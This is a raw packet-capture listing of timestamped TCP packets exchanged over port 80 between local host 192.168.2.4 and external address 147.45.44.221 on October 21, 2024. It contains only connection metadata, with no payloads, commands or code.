Oct 21, 2024 08:47:20.821033001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.821033001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.931130886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.931179047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.931216955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.931248903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.931284904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.931405067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.931405067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.931405067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.931405067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.931405067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.939028025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.939117908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.939169884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.939172029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.939172029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.939204931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.939259052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.939260006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.939260006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.939296007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.939313889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.939348936 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.939455986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.939488888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.939513922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.939521074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.939537048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.939560890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.939707994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.939739943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.939764977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.939786911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.939790010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.939822912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.939831972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.939872026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.940087080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.940136909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.940140963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.940170050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.940182924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.940201998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.940221071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.940234900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.940268993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.940278053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.940278053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.940334082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.940773010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.940804005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.940828085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.940838099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.940855980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.940891981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.051261902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.051295996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.051335096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.051368952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.051431894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.051465034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.051470995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.051541090 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.058645010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.058677912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.058706999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.058746099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.058794022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.058840036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.059602976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.059669018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.059787035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.059817076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.059839010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.059864998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.061753035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.061785936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.061821938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.061850071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.061918974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.061952114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.061981916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.061991930 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.061991930 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062014103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062035084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062058926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062062025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062094927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062123060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062141895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062141895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062175035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062196016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062202930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062232018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062233925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062249899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062266111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062278986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062295914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062313080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062326908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062344074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062357903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062376022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062407017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062407017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062438965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062459946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062483072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.062486887 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.062550068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.171936989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.171972036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.172004938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.172070980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.172120094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.178524971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.178606987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.178715944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.178746939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.178776026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.178797960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.178870916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.178901911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.178915977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.178947926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.178950071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.178981066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.178992987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.179013968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.179028034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.179045916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.179068089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.179080009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.179095030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.179107904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.179146051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.179146051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.179574966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.179626942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.179771900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.179802895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.179825068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.179835081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.179857016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.179866076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.179898024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.179907084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.179907084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.179930925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.179951906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.179964066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.179976940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.180017948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.180596113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.180627108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.180649996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.180718899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.180764914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.180798054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.180810928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.180829048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.180855989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.180860996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.180870056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.180888891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.180927992 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.180927992 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.289544106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.289599895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.289634943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.289652109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.289680958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.289680958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.297441006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.297491074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.297503948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.297537088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.297553062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.297568083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.297600031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.297604084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.297605038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.297631025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.297655106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.297662973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.297677994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.297717094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.297823906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.297856092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.297878027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.297900915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.297904968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.297970057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.298086882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.298125029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.298136950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.298173904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.298190117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.298204899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.298208952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.298237085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.298250914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.298278093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.298605919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.298635006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.298660994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.298695087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.298732042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.298762083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.298798084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.298803091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.298829079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.298866987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.298866987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.299088955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.299120903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.299151897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.299164057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.299164057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.299201012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.299210072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.299232006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.299253941 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.299263954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.299292088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.299295902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.299326897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.299333096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.299333096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.299387932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.409286976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.409336090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.409342051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.409368038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.409379005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.409414053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.417897940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.417947054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.417953968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.417996883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.417998075 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418028116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418045044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418060064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418073893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418091059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418106079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418123007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418143988 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418154001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418169022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418186903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418199062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418219090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418231964 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418251991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418262959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418296099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418385983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418437958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418451071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418495893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418499947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418529987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418544054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418562889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418576002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418593884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418608904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418626070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418638945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418668985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418675900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418699980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418711901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418731928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418745041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418776989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.418766975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.418832064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.419251919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.419301987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.422348022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.422380924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.422401905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.422414064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.422442913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.422446966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.422455072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.422487020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.528747082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.528780937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.528814077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.528831959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.528863907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.762476921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.762538910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.762620926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.762664080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.762670994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.762703896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.762717962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.762731075 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.762748003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.762752056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.762784958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.762803078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.762823105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.762831926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.762864113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.762871981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.762902975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.762911081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.762943029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.762952089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.762983084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763009071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763050079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763056993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763088942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763098001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763122082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763134956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763153076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763170004 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763194084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763200045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763231039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763242006 CEST	49732	80	192.168.2.4	147.45.44.221
